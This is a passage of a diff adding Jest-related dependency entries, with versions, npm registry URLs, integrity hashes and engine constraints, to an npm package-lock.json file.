+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-leak-detector/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-leak-detector/node_modules/jest-get-type": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+      "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-leak-detector/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-leak-detector/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-matcher-utils": {
+      "version": "24.9.0",
+      "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-24.9.0.tgz",
+      "integrity": "sha512-OZz2IXsu6eaiMAwe67c1T+5tUAtQyQx27/EMEkbFAGiw52tB9em+uGbzpcgYVpA8wl0hlxKPZxrly4CXU/GjHA==",
+      "dependencies": {
+        "chalk": "^2.0.1",
+        "jest-diff": "^24.9.0",
+        "jest-get-type": "^24.9.0",
+        "pretty-format": "^24.9.0"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/jest-message-util": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz",
+      "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==",
+      "dependencies": {
+        "@babel/code-frame": "^7.12.13",
+        "@jest/types": "^27.5.1",
+        "@types/stack-utils": "^2.0.0",
+        "chalk": "^4.0.0",
+        "graceful-fs": "^4.2.9",
+        "micromatch": "^4.0.4",
+        "pretty-format": "^27.5.1",
+        "slash": "^3.0.0",
+        "stack-utils": "^2.0.3"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-message-util/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/pretty-format/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-message-util/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-message-util/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-mock": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz",
+      "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "@types/node": "*"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-mock/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-mock/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-mock/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-mock/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-mock/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-mock/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-mock/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-mock/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-mock/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-pnp-resolver": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.2.tgz",
+      "integrity": "sha512-olV41bKSMm8BdnuMsewT4jqlZ8+3TCARAXjZGT9jcoSnrfUnRCqnMoF9XEeoWjbzObpqF9dRhHQj0Xb9QdF6/w==",
+      "engines": {
+        "node": ">=6"
+      },
+      "peerDependencies": {
+        "jest-resolve": "*"
+      },
+      "peerDependenciesMeta": {
+        "jest-resolve": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/jest-regex-util": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz",
+      "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-resolve": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-27.5.1.tgz",
+      "integrity": "sha512-FFDy8/9E6CV83IMbDpcjOhumAQPDyETnU2KZ1O98DwTnz8AOBsW/Xv3GySr1mOZdItLR+zDZ7I/UdTFbgSOVCw==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "chalk": "^4.0.0",
+        "graceful-fs": "^4.2.9",
+        "jest-haste-map": "^27.5.1",
+        "jest-pnp-resolver": "^1.2.2",
+        "jest-util": "^27.5.1",
+        "jest-validate": "^27.5.1",
+        "resolve": "^1.20.0",
+        "resolve.exports": "^1.1.0",
+        "slash": "^3.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-resolve-dependencies": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-27.5.1.tgz",
+      "integrity": "sha512-QQOOdY4PE39iawDn5rzbIePNigfe5B9Z91GDD1ae/xNDlu9kaat8QQ5EKnNmVWPV54hUdxCVwwj6YMgR2O7IOg==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "jest-regex-util": "^27.5.1",
+        "jest-snapshot": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-resolve-dependencies/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-resolve-dependencies/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-resolve-dependencies/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-resolve-dependencies/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-resolve-dependencies/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-resolve-dependencies/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-resolve-dependencies/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-resolve-dependencies/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-resolve-dependencies/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-resolve/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-resolve/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-resolve/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-resolve/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-resolve/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-resolve/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-resolve/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-resolve/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-resolve/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-runner": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-27.5.1.tgz",
+      "integrity": "sha512-g4NPsM4mFCOwFKXO4p/H/kWGdJp9V8kURY2lX8Me2drgXqG7rrZAx5kv+5H7wtt/cdFIjhqYx1HrlqWHaOvDaQ==",
+      "dependencies": {
+        "@jest/console": "^27.5.1",
+        "@jest/environment": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "emittery": "^0.8.1",
+        "graceful-fs": "^4.2.9",
+        "jest-docblock": "^27.5.1",
+        "jest-environment-jsdom": "^27.5.1",
+        "jest-environment-node": "^27.5.1",
+        "jest-haste-map": "^27.5.1",
+        "jest-leak-detector": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-resolve": "^27.5.1",
+        "jest-runtime": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-worker": "^27.5.1",
+        "source-map-support": "^0.5.6",
+        "throat": "^6.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-runner/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-runner/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-runner/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-runner/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
